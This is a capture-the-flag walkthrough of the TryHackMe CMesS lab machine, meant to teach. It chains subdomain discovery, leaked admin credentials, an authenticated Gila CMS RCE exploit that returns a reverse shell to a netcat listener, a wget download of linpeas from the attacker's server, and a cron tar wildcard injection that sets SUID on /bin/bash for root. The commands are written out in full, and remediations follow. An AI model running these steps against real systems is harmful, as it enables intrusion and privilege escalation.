Today's problem is: https://tryhackme.com/room/cmess

Challenge Overview: Machine: CMesS (THM) Path: Enumeration -> Subdomain Discovery -> Credential Exposure -> Authenticated Gila CMS RCE -> Password Backup Disclosure -> Cron Wildcard Injection Privilege Escalation Key Takeaway: Exposed development subdomains, vulnerable CMS versions, and unsafe cron job configurations can be chained to escalate from web access to full root compromise.

The initial enumeration phase was started by performing a full port scan against the target machine using Nmap. The following commands were executed to identify open ports and active services:

nmap -p- --open <MACHINE_IP>
nmap -sC -sV -p <OPEN_PORTS> <MACHINE_IP>
┌──(root㉿vbox)-[~]
└─# nmap -p- --open 10.48.172.42       
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-03 18:51 IST
Nmap scan report for 10.48.172.42
Host is up (0.096s latency).
Not shown: 65423 closed tcp ports (reset), 110 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 79.97 seconds

┌──(root㉿vbox)-[~]
└─# nmap -sC -sV -p 22,80 10.48.172.42 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-03 18:51 IST
Nmap scan report for 10.48.172.42
Host is up (0.069s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
|   256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_  256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Gila CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 3 disallowed entries 
|_/src/ /themes/ /lib/
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.13 seconds

The scan confirmed that SSH and HTTP services were exposed on ports 22 and 80 respectively.

As instructed by the room, the machine's IP address was mapped to the hostname cmess.thm in the /etc/hosts file.

Since no credentials were initially available, enumeration was focused on the HTTP service.

A directory enumeration scan was performed using Gobuster:

gobuster dir -u http://10.48.172.42 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt

Although several directories were discovered, none provided immediate value.

Because the room explicitly required host resolution via /etc/hosts, a subdomain enumeration was also conducted. FFUF was preferred over Gobuster due to its flexible filtering capabilities.

┌──(root㉿vbox)-[~]
└─# ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://cmess.thm/ -H "Host: FUZZ.cmess.thm" -fs 3886,3883,3877,3874,3889,3880,3898,3907,3892,3904,3895,3901,3871,3919,3913,3910,3916,3922,3928,3958,3925,3937,3934,3931

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cmess.thm/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.cmess.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 3886,3883,3877,3874,3889,3880,3898,3907,3892,3904,3895,3901,3871,3919,3913,3910,3916,3922,3928,3958,3925,3937,3934,3931
________________________________________________

dev                     [Status: 200, Size: 934, Words: 191, Lines: 31, Duration: 1885ms]
:: Progress: [4989/4989] :: Job [1/1] :: 182 req/sec :: Duration: [0:00:27] :: Errors: 0 ::

The response size filters were determined manually by resolving candidate subdomains and comparing responses. This process revealed a valid subdomain: dev.cmess.thm.

If another easy way around exists, do mention your thoughts in the comment section and help others as well.

The subdomain "dev.cmess.thm" was added to /etc/hosts, after which the page was accessed via the browser. The page disclosed sensitive information, including:

Username: andre (Admin Panel)
Emails: andre@cmess.thm, support@cmess.thm
Passwords: {REDACTED}

These credentials were used to authenticate to the CMS admin panel located at /admin.

After login the version of the Gila CMS can be found at the bottom of the page, i.e., 1.10.9

After successful login, the CMS version was identified as Gila CMS 1.10.9, displayed at the bottom of the admin interface. This version is known to be vulnerable to authenticated remote code execution, details of which can be found here:

Searchsploit was used to find a suitable payload using the following command:

searchsploit gila
┌──(root㉿vbox)-[~/Desktop/cess]
└─# searchsploit gila                   
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                            |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Gila CMS 1.10.9 - Remote Code Execution (RCE) (Authenticated)                                                                                                                                             | php/webapps/51569.py
Gila CMS 1.11.8 - 'query' SQL Injection                                                                                                                                                                   | php/webapps/48590.py
Gila CMS 1.9.1 - Cross-Site Scripting                                                                                                                                                                     | php/webapps/46557.txt
Gila CMS 2.0.0 - Remote Code Execution (Unauthenticated)                                                                                                                                                  | php/webapps/49412.py
Gila CMS < 1.11.1 - Local File Inclusion                                                                                                                                                                  | multiple/webapps/47407.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                                                                                                                                            
┌──(root㉿vbox)-[~/Desktop/cess]
└─# searchsploit -m php/webapps/51569.py

  Exploit: Gila CMS 1.10.9 - Remote Code Execution (RCE) (Authenticated)
      URL: https://www.exploit-db.com/exploits/51569
     Path: /usr/share/exploitdb/exploits/php/webapps/51569.py
    Codes: N/A
 Verified: False
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /root/Desktop/cess/51569.py

The exploit script was executed, and a Netcat listener was started on the attacker machine to capture the reverse shell:

┌──(root㉿vbox)-[~/Desktop/cmess]
└─# python3 51569.py

 ██████╗ ██╗██╗      █████╗      ██████╗███╗   ███╗███████╗    ██████╗  ██████╗███████╗                                                                                                                                                    
██╔════╝ ██║██║     ██╔══██╗    ██╔════╝████╗ ████║██╔════╝    ██╔══██╗██╔════╝██╔════╝                                                                                                                                                    
██║  ███╗██║██║     ███████║    ██║     ██╔████╔██║███████╗    ██████╔╝██║     █████╗                                                                                                                                                      
██║   ██║██║██║     ██╔══██║    ██║     ██║╚██╔╝██║╚════██║    ██╔══██╗██║     ██╔══╝                                                                                                                                                      
╚██████╔╝██║███████╗██║  ██║    ╚██████╗██║ ╚═╝ ██║███████║    ██║  ██║╚██████╗███████╗                                                                                                                                                    
 ╚═════╝ ╚═╝╚══════╝╚═╝  ╚═╝     ╚═════╝╚═╝     ╚═╝╚══════╝    ╚═╝  ╚═╝ ╚═════╝╚══════╝                                                                                                                                                    
                                                                                                                                                                                                                                           
                              by Unknown_Exploit                                                                                                                                                                                           
                                                                                                                                                                                                                                           
Enter the target login URL (e.g., http://example.com/admin/): http://cmess.thm/admin
Enter the email: andre@cmess.thm
Enter the password: {REDACTED}
Enter the local IP (LHOST): <ATTACKER_IP>
Enter the local port (LPORT): 4444
File uploaded successfully.
┌──(root㉿vbox)-[~]
└─# nc -lvnp 4444  
listening on [any] 4444 ...
connect to [192.168.149.224] from (UNKNOWN) [10.48.171.39] 52510
bash: cannot set terminal process group (712): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cmess:/var/www/html/tmp$ 

A reverse shell was successfully obtained as the www-data user.

Alternatively, a reverse shell can be obtained directly through the web interface by navigating to Administration → Themes → File Manager, uploading a reverse shell payload, or modifying an existing PHP file and then triggering it through a browser request.

A manual enumeration was done to escalate privilege from the "www-data" user, but no unusual SUID binaries or misplaced permissions were found.

As a result, linpeas.sh was transferred to the target to automate enumeration.

To transfer linpeas.sh to the target, it can be downloaded directly from GitHub, or transferred from the main machine over a Python server or copying Base64 encoded string and decrypting it over the target machine.

The Python server method is explained below. If this is not working for you, try other methods or check "ufw status" on your machine, and enableport forwarding if disabled, and drop iptables restrictions over the required ports.

To transfer the payload, run the following command in the main machine in the directory where the "linpeas.sh" file is present:

python3 -m http.server 9001

And on the target machine, run the following command in the "/tmp" directory where the user has read, write, and executable permissions:

wget http://<MAIN_MACHINE_IP>:9001/linpeas.sh

After downloading the file, give it executable permissions and then execute it.

chmod +x linpeas.sh

./linpeas.sh

During enumeration, linPEAS revealed a sensitive backup file located at /opt/.password.bak. The file contained credentials for the user andre:

╔══════════╣ Searching *password* or *credential* files in home (limit 70)
/bin/systemd-ask-password                                                                                                                                                                                                                  
/bin/systemd-tty-ask-password-agent
/etc/pam.d/common-password
/opt/.password.bak
/usr/lib/grub/i386-pc/legacy_password_test.mod
/usr/lib/grub/i386-pc/password.mod
/usr/lib/grub/i386-pc/password_pbkdf2.mod
/usr/lib/mysql/plugin/validate_password.so
/usr/share/help-langpack/en_AU/ubuntu-help/user-changepassword.page
/usr/share/help-langpack/en_AU/ubuntu-help/user-forgottenpassword.page
/usr/share/help-langpack/en_AU/ubuntu-help/user-goodpassword.page
/usr/share/help-langpack/en_CA/ubuntu-help/user-changepassword.page
/usr/share/help-langpack/en_CA/ubuntu-help/user-forgottenpassword.page
/usr/share/help-langpack/en_CA/ubuntu-help/user-goodpassword.page
/usr/share/help-langpack/en_GB/evince/password.page
/usr/share/help-langpack/en_GB/ubuntu-help/user-changepassword.page
/usr/share/help-langpack/en_GB/ubuntu-help/user-forgottenpassword.page
/usr/share/help-langpack/en_GB/ubuntu-help/user-goodpassword.page
/usr/share/help-langpack/en_GB/zenity/password.page
/usr/share/icons/Adwaita/scalable/status/dialog-password-symbolic.svg
/usr/share/icons/Humanity/apps/24/password.png
/usr/share/icons/Humanity/apps/48/password.svg
/usr/share/icons/Humanity/status/16/dialog-password.png
/usr/share/icons/Humanity/status/24/dialog-password.png
/usr/share/icons/Humanity/status/48/dialog-password.svg
/usr/share/locale-langpack/en_AU/LC_MESSAGES/credentials-control-center.mo
/usr/share/locale-langpack/en_AU/LC_MESSAGES/ubuntuone-credentials.mo
/usr/share/locale-langpack/en_CA/LC_MESSAGES/credentials-control-center.mo
/usr/share/locale-langpack/en_GB/LC_MESSAGES/credentials-control-center.mo
/usr/share/locale-langpack/en_GB/LC_MESSAGES/ubuntuone-credentials.mo
/usr/share/man/man1/systemd-ask-password.1.gz
/usr/share/man/man1/systemd-tty-ask-password-agent.1.gz
/usr/share/man/man7/credentials.7.gz
/usr/share/man/man8/systemd-ask-password-console.path.8.gz
/usr/share/man/man8/systemd-ask-password-console.service.8.gz
/usr/share/man/man8/systemd-ask-password-wall.path.8.gz
/usr/share/man/man8/systemd-ask-password-wall.service.8.gz
  #)There are more creds/passwds files in the previous parent folder

/usr/share/pam/common-password.md5sums
/var/cache/debconf/passwords.dat
/var/lib/pam/password
/var/www/html/src/core/views/login-change-password.php
www-data@cmess:/tmp$ cat /opt/.password.bak
andres backup password
{REDACTED}

Using these credentials, privileges were escalated from www-data to andre using the following command:

su andre

The user flag can be obtained from the "/home/andre" directory:

www-data@cmess:/home$ su andre
Password: 
andre@cmess:/home$ cd andre/
andre@cmess:~$ cat user.txt 
<<USER_FLAG>>

Due to instability in the reverse shell after privilege escalation, an SSH session was established as andre for further enumeration.

┌──(root㉿vbox)-[~/Desktop/cmess]
└─# ssh andre@10.48.171.39
The authenticity of host '10.48.171.39 (10.48.171.39)' can't be established.
ED25519 key fingerprint is: SHA256:hepiJY+DGs/ds1l4tweTdzOAbt+HxqpmNs3WyZFb4eQ
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:71: [hashed name]
    ~/.ssh/known_hosts:124: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.48.171.39' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
andre@10.48.171.39's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Thu Feb 13 15:02:43 2020 from 10.0.0.20
andre@cmess:~$ whoami
andre

Although automated tools like linpeas.sh can be used for enumeration, initial manual analysis reveals a cron job running as root every two minutes. This job changes into /home/andre/backup and archives all files using the wildcard (*) with tar.

Because the backup directory is writable by the user andre, this setup is insecure. When tar processes the wildcard, it does not simply treat filenames as data; filenames starting with -- are interpreted as command-line options. By creating specially named files inside the backup directory, an attacker can inject additional tar options and force the execution of arbitrary commands.

Since the cron job runs as root, this wildcard injection leads directly to root-level command execution, allowing full privilege escalation.

andre@cmess:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 *   * * *   root    cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *
andre@cmess:~/backup$ echo 'chmod +s /bin/bash' > shell.sh
andre@cmess:~/backup$ chmod +x shell.sh 
andre@cmess:~/backup$ touch -- "--checkpoint=1"
andre@cmess:~/backup$ touch -- "--checkpoint-action=exec=sh shell.sh"

To escalate privileges, a malicious script (shell.sh) was created that sets the SUID bit on /bin/bash. Since a root-owned cron job archives files from the user-writable directory /home/andre/backup using tar with a wildcard, specially crafted filenames beginning with -- are interpreted as command-line options. By creating --checkpoint=1 and --checkpoint-action=exec=sh shell.sh, tar is forced to execute the script during the backup process. As the cron job runs with root privileges, the script executes as root, resulting in a SUID-enabled bash binary and full root access.

Wait for 2 minutes for the cron job to run, and then run the following command to gain the root shell:

andre@cmess:~/backup$ /bin/bash -p
bash-4.3# whoami
root

The root flag can be obtained from the "/root" directory:

bash-4.3# cd /root
bash-4.3# cat root.txt 
<<<ROOT_FLAG>>> !!!

Remediations:

  1. Remove exposed credentials, backup files, and configuration data from subdomains such as dev.cmess.thm, and ensure that sensitive information is never disclosed through development or staging environments.
  2. Restrict access to CMS administrative panels, enforce strong authentication for admin users, and avoid reusing credentials across services or environments.
  3. Patch and upgrade vulnerable CMS components such as Gila CMS, and restrict file upload or template modification functionality to prevent authenticated remote code execution.
  4. Secure scheduled tasks by avoiding wildcard usage in root-owned cron jobs on user-writable directories, and regularly audit cron configurations and file permissions to prevent privilege escalation.

We are done with the machine……….

Let's move to the next, till then Have a good day (night too)